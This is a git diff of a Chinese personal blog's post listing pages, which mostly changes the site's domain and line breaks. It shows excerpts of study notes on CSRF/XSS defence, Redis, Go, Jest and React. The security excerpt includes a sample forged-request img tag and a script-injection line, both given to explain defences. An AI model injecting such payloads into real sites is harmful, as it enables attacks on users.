viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&lt;img src ="http://xxx.xxx/test?xxx=666">
-只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&lt;img src ="http://xxx.xxx/test?xxx=666"> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
-if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){
-console.log("验证成功!!!")
-}else{
-console.log("验证失败!!!")
-}
-防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){ console.log("验证成功!!!") }else{ console.log("验证失败!!!") } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&lt;script>alert(‘hack’)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -35,14 +28,13 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
-其中img-src对应的指定图像或者图标的有效来源
+&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;"> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://xiaochenabc123.github.io/posts/99/></a></article><article class=post-entry><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://chenjunlinabc.github.io/posts/99/></a></article><article class=post-entry><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
 因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s
@@ -85,7 +77,7 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://xiaochenabc123.github.io/posts/97/></a></article><article class=post-entry><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
+daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://chenjunlinabc.github.io/posts/97/></a></article><article class=post-entry><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
 go的源文件是xxx.go
@@ -100,12 +92,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
-import "fmt"
-func main(){
-fmt.Println("hallo golang")
-}
-go run hallo.go
+package main import "fmt" func main(){ fmt.Println("hallo golang") } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -126,28 +113,16 @@
 var abc string = “hallo”
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://xiaochenabc123.github.io/posts/96/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
+var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://chenjunlinabc.github.io/posts/96/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
 yarn add –dev jest或者npm install –save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
-return "hello world"
-}
-hello.test.js
-const hello = require('../hello')
-it('should ', () => {
-expect(hello()).toBe('hello world')
-})
-package.json
-{
-"scripts": {
-"test": "jest"
-}
-}
-执行测试
+module.exports = function(){ return "hello world" } hello.test.js
+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ "scripts": { "test": "jest" } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -159,27 +134,15 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://xiaochenabc123.github.io/posts/95/></a></article><article class=post-entry><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://chenjunlinabc.github.io/posts/95/></a></article><article class=post-entry><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
-return[
-&lt;div>hallo&lt;/div>,
-&lt;div>word&lt;/div>
-]
-}
-或者
-render(){
-return "hallo word"
-}
-错误处理
+render(){ return[ &lt;div>hallo&lt;/div>, &lt;div>word&lt;/div> ] } 或者
+render(){ return "hallo word" } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
-console.log(error,info)
-}
-Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -197,15 +160,8 @@
 导入
 import ReactMarkdown from ‘react-markdown’
 测试
-let markdown =
-"**这是加粗的文字**\n\n" +
-"*这是倾斜的文字*`\n\n" +
-"***这是斜体加粗的文字***\n\n" +
-"~~这是加删除线的文字~~ \n\n" +
-"`console.log(111)` \n\n" +
-"``` var a=11; ```";
-&lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://xiaochenabc123.github.io/posts/94/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/10/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/12/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+let markdown = "**这是加粗的文字**\n\n" + "*这是倾斜的文字*`\n\n" + "***这是斜体加粗的文字***\n\n" + "~~这是加删除线的文字~~ \n\n" + "`console.log(111)` \n\n" + "``` var a=11; ```"; &lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://chenjunlinabc.github.io/posts/94/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/10/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/12/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/12/index.html b/posts/page/12/index.html
index f6f4a0ce..2ea2131f 100644
--- a/posts/page/12/index.html
+++ b/posts/page/12/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line 